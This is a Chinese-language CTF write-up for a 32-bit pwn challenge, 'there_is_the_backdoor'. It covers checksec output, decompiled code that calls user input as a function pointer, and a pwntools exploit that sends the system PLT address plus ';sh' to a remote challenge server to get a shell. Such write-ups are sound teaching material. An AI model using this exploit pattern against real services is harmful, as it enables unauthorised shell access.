

# there\_is\_the\_backdoor

## 保护机制

```
giantbranch@ubuntu:~/mouth_game/mouth_2/there_is_the_backdoor$ checksec ./backdoor
[*] '/home/giantbranch/mouth_game/mouth_2/there_is_the_backdoor/backdoor'
Arch:      i386-32-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
```

除了pie其他的都开了

## 代码分析

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     init();
4     puts("Enter the password and I'll give you the back door");
5     read(0, &notebook, 0x50u);
6     notebook(&notebook);
7     return 0;
8 }
```

可以发现就是读入了0x50长度，然后直接call读取的前四个字节内容并且把读取的内容作为参数

Function name	Segment
<a href="#">f</a> <code>_init_proc</code>	<code>.init</code>
<a href="#">f</a> <code>setbuf</code>	<code>.plt.g</code>
<a href="#">f</a> <code>read</code>	<code>.plt.g</code>
<a href="#">f</a> <code>__stack_chk_fail</code>	<code>.plt.g</code>
<a href="#">f</a> <code>puts</code>	<code>.plt.g</code>
<a href="#">f</a> <code>system</code>	<code>.plt.g</code>
<a href="#">f</a> <code>__gmon_start__</code>	<code>.plt.g</code>
<a href="#">f</a> <code>__libc_start_main</code>	<code>.plt.g</code>
<a href="#">f</a> <code>_start</code>	<code>.text</code>
<a href="#">f</a> <code>__x86_get_pc_thunk_bx</code>	<code>.text</code>
<a href="#">f</a> <code>deregister_tm_clones</code>	<code>.text</code>
<a href="#">f</a> <code>register_tm_clones</code>	<code>.text</code>
<a href="#">f</a> <code>__do_global_dtors_aux</code>	<code>.text</code>
<a href="#">f</a> <code>frame_dummy</code>	<code>.text</code>
<a href="#">f</a> <code>init</code>	<code>.text</code>
<a href="#">f</a> <code>backdoor</code>	<code>.text</code>
<a href="#">f</a> <code>main</code>	<code>.text</code>
<a href="#">f</a> <code>__libc_csu_init</code>	<code>.text</code>
<a href="#">f</a> <code>__libc_csu_fini</code>	<code>.text</code>
<a href="#">f</a> <code>_term_proc</code>	<code>.fini</code>
<a href="#">f</a> <code>__imp_read</code>	<code>extern</code>
<a href="#">f</a> <code>__imp_puts</code>	<code>extern</code>
<a href="#">f</a> <code>__imp_setbuf</code>	<code>extern</code>
<a href="#">f</a> <code>__imp__stack_chk_fail</code>	<code>extern</code>
<a href="#">f</a> <code>__imp_system</code>	<code>extern</code>
<a href="#">f</a> <code>__imp__libc_start_main</code>	<code>extern</code>
<a href="#">f</a> <code>__imp__gmon_start__</code>	<code>extern</code>

可以发现还有system函数，所以我们前四个字节肯定是system函数的plt地址，那么根据system的参数；可以分割指令，那么我们输入内容为p32(system\_plt)+b';sh'的时候就会分别执行system(p32(system\_plt))和system('sh')，这样就拿到shell了

## exp

```
from pwn import*
from time import*
#p=process('./back')
#sleep(5)
p=remote('101.42.48.14',8093)
elf=ELF('./back')
system_plt=elf.plt['system']
payload=p32(system_plt)+b';sh\x00'
p.recvuntil('door\n')
p.sendline(payload)
p.interactive()
```
